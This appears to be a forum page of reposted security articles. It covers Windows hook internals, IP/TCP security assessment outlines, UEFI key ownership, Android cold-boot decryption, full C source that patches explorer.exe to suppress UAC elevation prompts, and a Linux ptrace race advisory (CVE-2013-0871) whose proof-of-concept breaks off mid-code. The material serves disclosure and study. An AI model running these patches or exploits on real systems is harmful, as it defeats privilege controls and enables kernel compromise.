HandleToULong(PsGetThreadId(pSettingThread->pEThread)); CopyThreadProcessName(pSettingThread->pEThread, hook.settingProcess, ARRAYSIZE(hook.settingProcess)); } [h=2]Copying to User Mode[/h] After collating all the relevant hook data, it needs to be marshalled somewhere user mode can access it. Normal Windows API calls dealing with this have the caller pass a buffer and a size, with the minimum length returned if the buffer is insufficient. There’s nothing wrong with this method, but if the information takes a long time to gather or is volatile this isn’t the most efficient approach. With that in mind, the approach taken by MsgHookLister is to always return this: typedef struct WindowsHookInfo_ { ClientHookArray* pHookInfoArray; } WindowsHookInfo; Instead of having the caller call back with an enlarged buffer, the driver makes a new heap in the calling process, allocates all the memory it needs from it, and then passes the heap handle back to the user mode app. When it’s finished, the app cleans up by freeing the memory and destroying the heap. A credible alternative to the heap is to allocate a glob of virtual memory and manage it yourself. It’s so credible I should’ve actually written it that way. To make the heap method work, it has to be created with the HEAP_NO_SERIALIZE flag because heaps created through the kernel use ERESOURCEs for locking, while user mode uses CRITICAL_SECTIONs, and they aren’t compatible. Oh well, some would say one last hack is a fitting ending to the call’s journey. With that, the ride is over. The request has been serviced and the driver is ready to remorselessly go through the whole process again and again at the clients behest. [h=2]Wrapup[/h] It did list queued window messages, now it lists active thread and global hooks too, it’s MsgHookLister. If this were Sysinternals it’d have a nice shiny gui but I’m not so it’s command line only. There are output samples and a video of it in action here. You can download the package here, it comes with x86 and x64 binaries and source code that puts the entirety of the above text into a ‘I could’ve figured that out’ category. Notes:[1]: The Win32Thread value reported by WinDbg when you use !process or !thread is the address of the THREADINFO. With a Win7 target, ‘dt win32k!tagTHREADINFO [address]‘ will display the structure’s contents. [2][3]: More information on windowstations and desktops can be found starting here [4]: GetClipboardFormatName can also be used to get the name for a value returned from RegisterWindowMessage. Clipboard format names, window messages, window classes and these hook dll name atoms all share the same atom table. You cannot use (Global)GetAtomName, these have usermode only atom tables. Sursa: Hookers – Underneath the Sheets
-
Security Assessment of the Internet Protocol Table of Contents 1. Preface ...................................................................................................................................... 3 1 .1 Introduction ...................................................................................................................... 3 1 .2 Scope of this document ................................................................................................... 4 1 .3 Organization of this document .......................................................................................... 4 1 .4 Typographical conventions ............................................................................................... 5 1 .5 Getting the latest version of this document........................................................................ 5 1 .6 Advice and guidance to vendors....................................................................................... 5 1 .5 Acknowledgements .......................................................................................................... 5 2. The Internet Protocol ............................................................................................................... 6 3. Internet Protocol header fields ............................................................................................... 7 3.1 Version.............................................................................................................................. 7 3.2 IHL (Internet Header Length)............................................................................................. 8 3.3 TOS.................................................................................................................................. 8 3.4 Total Length...................................................................................................................... 9 3.5 Identification (ID).............................................................................................................. 10 3.5.1 Some workarounds implemented by the industry......................................................... 10 3.5.2 Possible security improvements................................................................................... 11 3.6 Flags............................................................................................................................... 13 3.7 Fragment Offset.............................................................................................................. 14 3.8 Time to Live (TTL)............................................................................................................ 15 3.9 Protocol.......................................................................................................................... 19 3.10 Header Checksum........................................................................................................ 19 3.11 Source Address............................................................................................................ 19 3.12 Destination Address...................................................................................................... 20 3.13 Options......................................................................................................................... 20 3.13.1 General issues with IP options.................................................................................... 21 3.13.1.1 Processing requirements......................................................................................... 21 3.13.1.2 Processing of the options by the upper layer protocol............................................. 22 3.13.1.3 General sanity checks on IP options........................................................................ 22 3.13.2 Issues with specific options........................................................................................ 23 3.13.2.1 End of Option List (Type = 0)................................................................................... 23 3.13.2.2 No Operation (Type = 1).......................................................................................... 24 3.13.2.3 Loose Source Record Route (LSRR) (Type = 131)................................................... 24 Security Assessment of the Internet Protocol 3.13.2.4 Strict Source and Record Route (SSRR) (Type = 137).............................................. 26 3.13.2.5 Record Route (Type = 7).......................................................................................... 29 3.13.2.6 Stream Identifier (Type = 136).................................................................................. 31 3.13.2.7 Internet Timestamp (Type = 68)............................................................................... 31 3.13.2.8 Router Alert (Type = 148)......................................................................................... 34 3.13.2.9 Probe MTU (Type =11)............................................................................................ 34 3.13.2.10 Reply MTU (Type = 12).......................................................................................... 34 3.13.2.11 Traceroute (Type = 82)........................................................................................... 35 3.13.2.12 DoD Basic Security Option (Type = 130)................................................................ 35 3.13.2.13 DoD Extended Security Option (Type = 133).......................................................... 36 3.13.2.14 Commercial IP Security Option (CIPSO)................................................................. 36 3.13.2.15 Sender Directed Multi-Destination Delivery (Type = 149)........................................ 37 3.14 Differentiated Services field ........................................................................................... 37 3.15 Explicit Congestion Notification (ECN) .......................................................................... 38 4. Internet Protocol Mechanisms .............................................................................................. 40 4.1 Fragment reassembly ..................................................................................................... 40 4.1.1 Problems related with memory allocation ..................................................................... 41 4.1.2 Problems that arise from the length of the IP Identification field .................................... 42 4.1.3 Problems that arise from the complexity of the reassembly algorithm .......................... 43 4.1.4 Problems that arise from the ambiguity of the reassembly process .............................. 43 4.1.5 Problems that arise from the size of the IP fragments .................................................. 44 4.1.6 Possible security improvements .................................................................................. 45 4.2 Forwarding ..................................................................................................................... 49 4.2.1 Precedence-ordered queue service ............................................................................. 49 4.2.2 Weak Type of Service .................................................................................................. 50 4.2.3 Address Resolution ..................................................................................................... 51 4.2.4 Dropping packets ........................................................................................................ 51 4.3 Addressing ..................................................................................................................... 52 4.3.1 Unreachable addresses ............................................................................................... 52 4.3.2 Private address space ................................................................................................. 52 4.3.3 Class D addresses (224/4 address block) .................................................................... 52 4.3.4 Class E addresses (240/4 address block) .................................................................... 52 4.3.5 Broadcast and multicast addresses, and connection-oriented protocols ..................... 53 4.3.6 Broadcast and network addresses .............................................................................. 53 4.3.7 Special Internet addresses .......................................................................................... 53 5. References .............................................................................................................................. 56 Download: http://www.si6networks.com/publications/InternetProtocol.pdf
-
SECURITY ASSESSMENT OF THE TRANSMISSION CONTROL PROTOCOL (TCP) Contents 1. Preface.................................................................................................. 5 1.1. Introduction ..................................................................................................................................... 5 1.2. Scope of this document .................................................................................................................. 6 1.3. Organisation of this document........................................................................................................ 7 1.4. Typographical conventions............................................................................................................. 7 1.5 Acknowledgements ......................................................................................................................... 7 1.6. Advice and guidance to vendors .................................................................................................... 8 2. The Transmission Control Protocol................................................... 9 3. TCP header fields .............................................................................. 10 3.1. Source Port................................................................................................................................... 10 3.2. Destination port............................................................................................................................. 18 3.3. Sequence number ........................................................................................................................ 19 3.4. Acknowledgement number........................................................................................................... 20 3.5. Data Offset.................................................................................................................................... 21 3.6. Control bits.................................................................................................................................... 21 3.7. Window ......................................................................................................................................... 25 3.8. Checksum..................................................................................................................................... 26 3.9. Urgent pointer............................................................................................................................... 27 3.10. Options ....................................................................................................................................... 31 3.11. Padding....................................................................................................................................... 33 3.12. Data ............................................................................................................................................ 33 4. Common TCP options....................................................................... 34 4.1. End of Option List (Kind = 0) ........................................................................................................ 34 4.2. No Operation (Kind = 1)................................................................................................................ 34 4.3. Maximum Segment Size (Kind = 2).............................................................................................. 34 4.4. Selective Acknowledgement option.............................................................................................. 36 4.5. MD5 option (Kind=19)................................................................................................................... 38 4.6. Window scale option (Kind = 3).................................................................................................... 39 4.7. Timestamps option (Kind = 8) ...................................................................................................... 40 5. Connection-establishment mechanism........................................... 43 5.1. SYN flood...................................................................................................................................... 43 5.2. Connection forgery ....................................................................................................................... 46 5.3. Connection-flooding attack ........................................................................................................... 47 5.4. Firewall-bypassing techniques ..................................................................................................... 49 3 6. Connection-termination mechanism ............................................... 50 6.1. FIN-WAIT-2 flooding attack .......................................................................................................... 50 7. Buffer management........................................................................... 53 7.1. TCP retransmission buffer............................................................................................................ 53 7.2. TCP segment reassembly buffer .................................................................................................. 56 7.3. Automatic buffer tuning mechanisms ........................................................................................... 58 8. TCP segment reassembly algorithm ............................................... 62 8.1. Problems that arise from ambiguity in the reassembly process................................................... 62 9. TCP congestion control .................................................................... 63 9.1. Congestion control with misbehaving receivers ........................................................................... 64 9.2. Blind DupACK triggering attacks against TCP ............................................................................. 66 9.3. TCP Explicit Congestion Notification (ECN)................................................................................. 79 10. TCP API ............................................................................................ 82 10.1 Passive opens and binding sockets ............................................................................................ 82 10.2. Active opens and binding sockets .............................................................................................. 83 11. Blind in-window attacks.................................................................. 84 11.1. Blind TCP-based connection-reset attacks ................................................................................ 84 11.2. Blind data-injection attacks......................................................................................................... 90 12. Information leaking ......................................................................... 91 12.1. Remote Operating System detection via TCP/IP stack fingerprinting........................................ 91 12.2. System uptime detection ............................................................................................................ 94 13. Covert channels............................................................................... 95 14. TCP port scanning........................................................................... 96 14.1. Traditional connect() scan .......................................................................................................... 96 14.2. SYN scan.................................................................................................................................... 96 14.3. FIN, NULL, and XMAS scans..................................................................................................... 97 14.4. Maimon scan .............................................................................................................................. 98 14.5. Window scan .............................................................................................................................. 98 14.6. ACK scan.................................................................................................................................... 98 4 15. Processing of ICMP error messages by TCP.............................. 100 15.1. Internet Control Message Protocol........................................................................................... 100 15.2. Handling of ICMP error messages ........................................................................................... 101 15.3 Constraints in the possible solutions ......................................................................................... 102 15.4. General countermeasures against ICMP attacks..................................................................... 103 15.5. Blind connection-reset attack ................................................................................................... 104 15.6. Blind throughput-reduction attack............................................................................................. 107 15.7. Blind performance-degrading attack ........................................................................................ 108 16. TCP interaction with the Internet Protocol (IP) ........................... 120 16.1. TCP-based traceroute .............................................................................................................. 120 16.2. Blind TCP data injection through fragmented IP traffic ............................................................ 120 16.3. Broadcast and multicast IP addresses ..................................................................................... 121 17. References ..................................................................................... 122 Download: http://www.si6networks.com/publications/tn-03-09-security-assessment-TCP.pdf
-
Owning your Windows 8 UEFI Platform Posted on 15 February 2013 by jejb Even if you only ever plan to run Windows or stock distributions of Linux that already have secure boot support, I’d encourage everybody who has a new UEFI secure boot platform to take ownership of it. The way you do this is by installing your own Platform Key. Once you have done this, you can use key database maintenance tools like keytool to edit all the keys on the Platform and move the platform programmatically from Setup Mode to User Mode and back again. This blog post describes how you go about doing this. First Save the Variables The first thing to do is to install and run KeyTool either directly (the platform must have secure boot turned off, because keytool is unsigned) or via the mini USB image and save all the current secure variable keys (select the ‘Save Keys’ option from the top level menu). This will save the contents of each variable as a single esl (EFI Signature List) file, so you should end up with three files: PK.esl, KEK.esl and db.esl. These files can later be used to restore the contents if something goes wrong in the updates (and because some platforms put you into setup mode by erasing the contents of all the secure variables), so save them in a safe place. Use the UEFI Menus to remove the Platform Key This is the step that it’s impossible to be precise about. Every UEFI platform seems to be different in how you do this. The Linux Foundation hosts a web page collecting the information but so far it only has the Intel Tunnel Mountain system on it, but if you work it out for your platform, leave me a comment describing what you did and I’ll add it to the LF page. The most common way to get a UEFI system to display the UEFI menus is to press ESC as it boots up. Create your own Platform Key If you rpm installed efitools, it will automatically have created a Platform Key for you in /usr/share/efitools/keys, plus all of the PK.auth and noPK.auth files. A platform key may be self signed, but doesn’t have to be (I’m using one signed with my root certificate). However, assuming you want to create a self-signed platform key manually, here are the steps: The standard command for doing this with openssl is openssl req -new -x509 -newkey rsa:2048 -subj “/CN=<my CN text>/” -keyout PK.key -out PK.crt -days 3650 -nodes -sha256 None of the parameters for the key (Like the Common Name) matters, so you can replace <my CN text> with anything you like (mine says ‘James Bottomley Platform Key 2013?) you can also add other X509 well known objects like your address. Once you have the two files PK.crt and PK.key, you need to save them in a safe location (PK.key is the one to guard since it’s your private key). Next, create an EFI Signature List file with the public key in (this and the next steps require that you have either installed the efitools rpm or compiled the unix commands from efitools.git and installed them on your system) cert-to-efi-sig-list -g <my random guid> PK.crt PK.esl where <my random guid> is any random GUID you choose. You also need to create an empty noPK.esl file which can be used to remove the platform key again > noPK.esl (do an ls -l on it to make sure it has zero size). Now you create the signed update files (called .auth files) sign-efi-sig-list -k PK.key -c PK.crt PK PK.esl PK.auth sign-efi-sig-list -k PK.key -c PK.crt PK noPK.esl noPK.auth copy the two .auth files to your USB key and you should now be able to use KeyTool to insert them into where the platform key is. Go to ‘Edit Keys’, select the ‘The Platform Key (PK)’ and then ‘Replace Keys(s)’. Navigate the file Chooser to your PK.auth file and you now are the platform Owner. Press ESC to go to the top level menu and it should tell you the platform is in User Mode and Secure Boot is enabled. Now verify you can move back to Setup Mode by going to ‘Edit Keys’, ‘The Platform Key (PK)’ and this time selecting the first entry (showing the GUID you chose for your platform key) and then ‘Delete with .auth file’. This time navigate to noPK.auth and select it. The platform key should now be gone and when you ESC to the top menu it will tell you you are in Setup Mode. You now own your own platform and can move easily between setup and user modes. Replace or Edit the rest of the Keys Now you own your own platform, restoring or replacing the current platform keys is easy. Where you saved the original keys, you should have a KEK.esl and a db.esl file. If you find that KEK and db are blank, you can restore them with this file, simply place the platform into Setup Mode, go to ‘Edit Keys’, ‘The Key Exchange Key Database (KEK)’ and ‘Replace Key(s)’ and finally navigate to the KEK.esl file you saved. You can also do the same thing with db.esl Now your platform should be back to its original condition except that you own the Platform Key and can decide easily to flip it into Setup Mode. Once in setup mode, you can edit the actual keys. One thing you can do is create your own signature key (using the method above for PK) and place it into db. You could also (assuming you never plan to boot windows) delete all the microsoft keys from the system. Beware if you decide to do this that some of your UEFI drivers may be signed by microsoft keys, and removing them all may limit the functionality of your UEFI platform. Additionally, any UEFI update to your system is also likely to come signed with the microsoft keys, however, in this case you can put the Microsoft keys back before doing the update. If pieces of your UEFI system do need to be signed, it might be possible to extract them and sign them with your key instead of Microsoft’s, but I haven’t yet found a system that needs this, so I don’t really have much of an idea how to do it. Remember to move your platform back to User Mode to enable secure boot before you exit KeyTool. Sursa: Owning your Windows 8 UEFI Platform | James Bottomley's random Pages
-
[h=1]Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer[/h]By: [h=3]rohitab[/h]This post describes a method to run programs like regedit.exe without displaying the UAC elevation dialog. When you run a program using Windows Explorer, it calls CreateProcess, which in turn calls CreateProcessInternal. On operating systems with UAC, CreateProcessInternal calls RtlQueryElevationFlags to determine if the UAC elevation dialog should be displayed. Here is a screenshot from API Monitor showing the callstack for RtlQueryElevationFlags RtlQueryElevationFlags returns flags indicating the state of UAC. The following flags are supported: #define ELEVATION_UAC_ENABLED 0x01 #define ELEVATION_VIRTUALIZATION_ENABLED 0x02 #define ELEVATION_INSTALLER_DETECTION_ENABLED 0x04 See UnDoc'd for documentation on this undocumented API. Here is a disassembly of RtlQueryElevationFlags on Windows 7 x64 RtlQueryElevationFlags: 000000007700B850 C7 01 00 00 00 00 mov dword ptr [rcx], 0 000000007700B856 F6 04 25 F0 02 FE 7F 02 test byte ptr [7FFE02F0h],2 000000007700B85E 74 06 je RtlQueryElevationFlags+16h (7700B866h) 000000007700B860 C7 01 01 00 00 00 mov dword ptr [rcx],1 ; ELEVATION_UAC_ENABLED 000000007700B866 F6 04 25 F0 02 FE 7F 04 test byte ptr [7FFE02F0h],4 000000007700B86E 74 03 je RtlQueryElevationFlags+23h (7700B873h) 000000007700B870 83 09 02 or dword ptr [rcx],2 ; ELEVATION_VIRTUALIZATION_ENABLED 000000007700B873 F6 04 25 F0 02 FE 7F 08 test byte ptr [7FFE02F0h],8 000000007700B87B 74 03 je RtlQueryElevationFlags+30h (7700B880h) 000000007700B87D 83 09 04 or dword ptr [rcx],4 ; ELEVATION_INSTALLER_DETECTION_ENABLED 000000007700B880 33 C0 xor eax,eax 000000007700B882 C3 ret The API reads the value at 7FFE02F0h and sets flags indicating UAC state. In order to disable the UAC elevation dialog, the API needs to be modified so that it does not set any flags. There are multiple ways to do it such as re-routing the API using hotpatching, injecting a DLL, modifying the memory location 7FFE02F0h etc. Since we only need to modify a couple of values, its easier to just patch the API in place. The sample code shown below opens Windows Explorer (explorer.exe), and patches RtlQueryElevationFlags in ntdll.dll. Once patched, the API always returns 0 for the flags regardless of the UAC state. Any processes that are executed after this, will run without displaying the UAC elevation dialog. The code, if run again, will unpatch the API to its original state and restore UAC elevation check. Binaries for both 32-bit and 64-bit are attached to this post. // UAC Elevation Enable/Disable // Copyright © 2011, Rohitab Batra // All rights reserved. #include <tchar.h> #include <stdio.h> #include <Windows.h> #include <TlHelp32.h> // Bytes to patch and offsets for comparison #ifdef _WIN64 #define PATCH_BYTE_1 18 #define PATCH_BYTE_2 34 #define PATCH_BYTE_3 47 #define COMPARE_OFFSET_1 9 #define COMPARE_OFFSET_2 25 #define COMPARE_OFFSET_3 38 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 48 #else #define PATCH_BYTE_1 22 #define PATCH_BYTE_2 37 #define PATCH_BYTE_3 49 #define COMPARE_OFFSET_1 13 #define COMPARE_OFFSET_2 28 #define COMPARE_OFFSET_3 40 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 52 #endif DWORD GetExplorerProcessId() { DWORD dwProcessId = 0; HANDLE hProcessSnap; PROCESSENTRY32 pe32; // Create snapshot of running processes hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE) { return 0; } // Iterate through the list to find explorer.exe pe32.dwSize = sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, &pe32)) { do { if(!_tcsicmp(pe32.szExeFile, _T("explorer.exe"))) { dwProcessId = pe32.th32ProcessID; break; } } while(Process32Next(hProcessSnap, &pe32)); } CloseHandle(hProcessSnap); return dwProcessId; } HMODULE GetNtDllModuleHandle(IN DWORD dwProcessId) { HMODULE hModule = NULL; MODULEENTRY32W me32; // Create a snapshot of modules in the process HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId); if(hModuleSnap == INVALID_HANDLE_VALUE) { _tprintf(_T("ERROR: Failed to retrieve module list.\n\tMake sure you run the 64-bit version on a 64-bit OS.\n")); return FALSE; } // Iterate through the list to find ntdll.dll me32.dwSize = sizeof(me32); if(Module32First(hModuleSnap, &me32)) { do { if(!_tcsicmp(me32.szModule, _T("ntdll.dll"))) { hModule = me32.hModule; break; } } while(Module32Next(hModuleSnap, &me32)); } CloseHandle(hModuleSnap); return hModule; } UINT_PTR GetRtlQueryElevationFlagsRva() { HMODULE hModule = GetModuleHandle(_T("ntdll.dll")); if(!hModule) { return 0; } FARPROC fpFunction = GetProcAddress(hModule, "RtlQueryElevationFlags"); if(!fpFunction) { _tprintf(_T("ERROR: RtlQueryElevationFlags is only available on Windows Vista and later\n")); return 0; } return (UINT_PTR)fpFunction - (UINT_PTR)hModule; } VOID UacElevationDisable(IN DWORD dwProcessId, IN HMODULE hNtDll) { // Get the RVA for RtlQueryElevationFlags UINT_PTR uRtlQueryElevationFlagsRva = GetRtlQueryElevationFlagsRva(); if(!uRtlQueryElevationFlagsRva) { return; } // Open process with permissions to perform virtual memory operations HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcessId); if(!hProcess) { _tprintf(_T("ERROR %u: Cannot open process\n"), GetLastError()); return; } __try { BYTE rgbyBuffer[BUFFER_SIZE]; SIZE_T sizeNumberOfBytesTransfered; LPVOID lpvApiAddress = (LPVOID)((UINT_PTR)hNtDll + uRtlQueryElevationFlagsRva); // Read data in from the start of RtlQueryElevationFlags if(!ReadProcessMemory(hProcess, lpvApiAddress, rgbyBuffer, sizeof(rgbyBuffer), &sizeNumberOfBytesTransfered) || sizeNumberOfBytesTransfered != sizeof(rgbyBuffer)) { _tprintf(_T("ERROR %u: Cannot read memory\n"), GetLastError()); __leave; } // Compare data to make sure it matches what we expect if(*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_1) != 0xC70674027FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_2) != 0x830374047FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_3) != 0x830374087FFE02F0) { _tprintf(_T("ERROR: Data Mismatch. Cannot Patch API\n"), GetLastError()); __leave; } // Check the current state if(rgbyBuffer[PATCH_BYTE_1] == 0x01 && rgbyBuffer[PATCH_BYTE_2] == 0x02 && rgbyBuffer[PATCH_BYTE_3] == 0x04) { _tprintf(_T("UAC Elevation Check is ON. Turning OFF\n")); } else if(rgbyBuffer[PATCH_BYTE_1] == 0x00 && rgbyBuffer[PATCH_BYTE_2] == 0x00 && rgbyBuffer[PATCH_BYTE_3] == 0x00) { _tprintf(_T("UAC Elevation Check is OFF. Turning ON\n")); } else { _tprintf(_T("UAC Elevation Check is UNKNOWN\n")); __leave; } // Patch bytes rgbyBuffer[PATCH_BYTE_1] ^= 0x01; rgbyBuffer[PATCH_BYTE_2] ^= 0x02; rgbyBuffer[PATCH_BYTE_3] ^= 0x04; LPVOID lpvPatchStartAddress = (LPVOID)((UINT_PTR)lpvApiAddress + PATCH_BYTE_1); // Write patched data back if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { __leave; } // Failed to write; unprotect the memory and retry BOOL bSuccess = FALSE; DWORD dwOldProtect; if(VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { // Retry writing patched data if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { bSuccess = TRUE; } VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, dwOldProtect, &dwOldProtect); } if(!bSuccess) { _tprintf(_T("ERROR: Cannot write memory\n")); } } __finally { CloseHandle(hProcess); } } int _tmain(int argc, _TCHAR* argv[]) { _tprintf(_T("UAC Elevation Enable/Disable\n© 2011 Rohitab Batra\nAll rights reserved.\nhttp://www.rohitab.com\n\n")); __try { DWORD dwExplorerProcessId = GetExplorerProcessId(); if(!dwExplorerProcessId) { _tprintf(_T("ERROR: Cannot find explorer.exe in the list of running processes\n")); __leave; } HMODULE hExplorerNtDll = GetNtDllModuleHandle(dwExplorerProcessId); if(!hExplorerNtDll) { _tprintf(_T("ERROR: Cannot find ntdll.dll in the explorer.exe\n")); __leave; } UacElevationDisable(dwExplorerProcessId, hExplorerNtDll); } __finally { } _tprintf(_T("Press ENTER to exit")); getchar(); return 0; } A quicker way to test this, without using the above code, is through API Monitor. Launch API Monitor, set a post-call breakpoint on RtlQueryElevationFlags and monitor explorer.exe. Now, run a process that requires elevation, such as regedit.exe. API Monitor will display the breakpoint dialog as shown below. Set the value at address pFlags to 0 and hit continue. This will run regedit.exe without the UAC elevation dialog. Download (x86 & x64): http://www.rohitab.com/discuss/index.php?app=core&module=attach§ion=attach&attach_id=3332 http://www.rohitab.com/discuss/index.php?app=core&module=attach§ion=attach&attach_id=3333 Sursa: Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer - rohitab.com - Forums
-
Boffins FREEZE PHONES to crack Android on-device crypto Security breach could have chilling effect By Neil McAllister in San Francisco • Get more from this author Computer scientists at the Friedrich-Alexander University of Erlangen-Nuremberg, Germany (FAU) have demonstrated that it is possible for unauthorized parties to recover data from encrypted Android smartphones using cold boot attacks. And when they say cold, they mean it – below 10°C, to be precise. Android has included built-in full disk encryption since version 4.0, aka "Ice Cream Sandwich". It comes switched off by default, but once activated it permanently scrambles the device's storage such that it cannot be accessed without entering the correct PIN or password. Or so it would seem. But according to a research paper by Tilo Müller, Michael Spreitzenbarth, and Felix Freiling of FAU, cold boot attacks can allow hackers to extract some or all of the data from Android devices, even with encryption enabled. Technically speaking, cold boot attacks are so called because they involve cold booting a device, meaning you cycle the power without allowing the operating system to shut down properly. Put simply, you pull the plug. We've all been taught that when you cut the power to a device, the contents of its memory are lost. In truth, however, that doesn't happen instantly. RAM chips exhibit a property called remanence, which means their contents fade over time, rather than disappearing all at once. If you can access the memory before it fades completely, it's possible to reconstruct the data that was there before the lights went out. Going ... going ... gone! Once the power's cut, the contents of RAM fade with each passing second (source: FAU) Naturally, you have to move fast. You probably have no more than a few seconds to extract the data. But one peculiar thing about the remanence effect is that the contents of RAM fade more slowly at lower temperatures. The colder the chips, the longer their memory – meaning cold boot attacks really do work better at colder temperatures. Doubtless you can see where this is going. That's right – the key to cracking the encryption on an Android phone is to stick it in the freezer awhile. An hour in cold storage and your captive will be ready to tell you everything (source: FAU) How to hack a frozen phone To demonstrate their method, Müller & Co used a Samsung Galaxy Nexus handset. They chose that model because it was one of the first devices to ship with Android 4.0, and because it runs on a stock Android experience, with no modifications from the manufacturer to complicate things. A full, step-by-step walkthrough of their process, complete with photos, is available on their website. In a nutshell, however, it involves abruptly powering down the device by pulling its battery, then booting it using a custom-built Android recovery image called FROST – short for "Forensic Recovery of Scrambled Telephones" – designed to extract encrypted data from RAM using a variety of methods. The team first made sure the phone was switched on and had a healthy charge in its battery. Then it was time for the freezer. They found they got their best results by allowing the device to cool to below 10°C, which took about an hour. (As expected, higher temperatures yielded less reliable results.) Once the phone was sufficiently chilled, they jiggled the battery and popped it out as briefly as they could to shut down the device. Then they immediately rebooted while holding down the combination of buttons that puts the device into "fastboot" mode. Once the device was in this mode, the researchers could use a PC to load their custom FROST module into its recovery partition. After that, one more reboot and the mischief was ready to begin. FROST provides a GUI menu offering several ways to extract data (click to enlarge) FROST can be used to extract data from encrypted phones in three main ways. The first is to search the device's RAM for AES encryption keys; recover they keys and it's possible to decrypt all of the data on the device. The second method is to use a brute-force attack to guess the user's PIN, which can also be used to crack the encryption. Brute-force attacks normally aren't the most efficient way to bypass a security mechanism, but the FAU researchers note that many smartphone owners use weak PINs. Finally, if the other two methods don't yield any results, FROST can also download a full image of the device's memory to a PC, which can then be used to conduct further attacks using additional tools. In practice, Müller's team was able to successfully extract a variety of data from encrypted smartphones using these techniques, including photos, recently visited websites, emails and Whatsapp messages, contact lists, calendar entries, and Wi-Fi credentials. Müller and his team have made all of the source code to the FROST module available on their website, along with a precompiled binary that anyone can experiment with. If giving away such a potentially dangerous tool seems rash, however, the researchers are quick to point out that similar methods of bypassing encryption have been understood for years. What's significant is that Android's implementation of on-device encryption is vulnerable to these known techniques, which means additional countermeasures will need to be developed to more fully harden the OS. In the meantime, the researchers plan to continue to experiment with their methods, with the aim of bringing them to bear on Android devices other than the Galaxy Nexus. Their next planned target? Google's Nexus 7 fondleslab. Does anybody need anything from the fridge? ® Sursa: Boffins FREEZE PHONES to crack Android on-device crypto • The Register
-
Linux Kernel race condition with PTRACE_SETREGS (CVE-2013-0871) Linux kernel stack corruption due to race condition with PTRACE_SETREGS ----------------------------------------------------------------------- A race conditon in ptrace can lead to kernel stack corruption and arbitrary kernel-mode code execution. This should be tracked as CVE-2013-0871. Solution ------------ The following commits from Oleg Nesterov should address the issue: - 910ffdb18a6408e14febbb6e4b6840fd2c928c82 - 9899d11f654474d2d54ea52ceaa2a1f4db3abd68 - 9067ac85d533651b98c2ff903182a20cbb361fcb Credit --------- This was discovered by Suleiman Souhlal and Salman Qazi of Google, with help from Aaron Durbin and Michael Davidson, also of Google. Code -------- Salman Qazi provided the following PoC code: Kernel patch for easy reproduction: diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c index b629bbe..e22617e 100644 --- a/arch/x86/kernel/ptrace.c +++ b/arch/x86/kernel/ptrace.c @@ -24,6 +24,7 @@ #include <linux/rcupdate.h> #include <linux/module.h> #include <linux/context_tracking.h> +#include <linux/delay.h> #include <asm/uaccess.h> #include <asm/pgtable.h> @@ -902,6 +903,12 @@ long arch_ptrace(struct task_struct *child, long request, datap); case PTRACE_SETREGS: /* Set all gp regs in the child. */ + if (!strcmp(current->comm, "ptrace_death")) { + int i; + WARN_ON_ONCE(1); + for (i = 0 ; i < 15; i++) + mdelay(10); + } return copy_regset_from_user(child, task_user_regset_view(current), REGSET_GENERAL, source code for ptrace_death: /* * Repro case for SETREGS arbitrary ring zero execution bug. * * The specific scenario that we attempt to create: * * V does a syscall. It is being traced by P. P * upon stopping V with PTRACE_SYSCALL and waiting for it, proceeds * to read its registers. At this time P is asleep and an RT process S * starts running. * * Then P proceeds to write V's registers, at shortly it has done this * another process K kills V. Process S goes to sleep permitting V * space to run. V wakes up from its waiting state and heads for the exit. * But, S quickly wakes up again by the time V has reached schedule(). V * is no longer running (since S has the CPU) * and P modifies its regs. When V finally starts running * and returns from schedule(), it pops an incorrect value from the * stack. The reason is that the stack on which schedule() is called * does not have the final 6 registers in pt_regs on it. That means that * when P modifies V's registers, it is actually overwriting the stack * frame saved for schedule(), including the return RIP. * * V and S and pinned to CPU 0. S is an RT task so that it can control * when V does and doesn't run. * remaining processes are not allowed on 0. * */ #include <sched.h> #include <sys/ptrace.h> #include <sys/user.h> #include <stdlib.h> #include <stdio.h> #include <assert.h> #include <signal.h> /* S */ int nuke_cpu(void) { int pid0; int i; unsigned long mask = 1; pid0 = fork(); if (!pid0) { struct sched_param p = {}; p.sched_priority = sched_get_priority_min(SCHED_FIFO); assert(!sched_setscheduler(0, SCHED_FIFO, &p)); assert(!sched_setaffinity(0, sizeof(mask), &mask)); i = 0; usleep(120000); while(1) { if (i == 50000) { usleep(10); printf("x"); fflush(stdout); } i++; } } return pid0; } int once() { long i; int pid0; int pid; unsigned long mask = 1; struct user_regs_struct regs; assert(!sched_setaffinity(0, sizeof(mask), &mask)); pid = fork(); if (!pid) { /* V */ while (1) { /* Put our chosen RIP in callee saved registers */ asm __volatile__ ( "mov $0x1eadbeef, %%rbx\n" "mov $0x1eadbeef, %%rbp\n" "mov $0x1eadbeef, %%r12\n" "mov $0x1eadbeef, %%r13\n" "mov $0x1eadbeef, %%r14\n" "mov $0x1eadbeef, %%r15\n" "mov $0, %%rsi\n" "mov $0, %%rdi\n" "mov $0x6d, %%rax\n" "syscall":::"rax","rsi","rdi", "r12", "rbx"); } } else { /* P */ assert(!ptrace(PTRACE_ATTACH, pid, 0, 0)); wait(NULL); 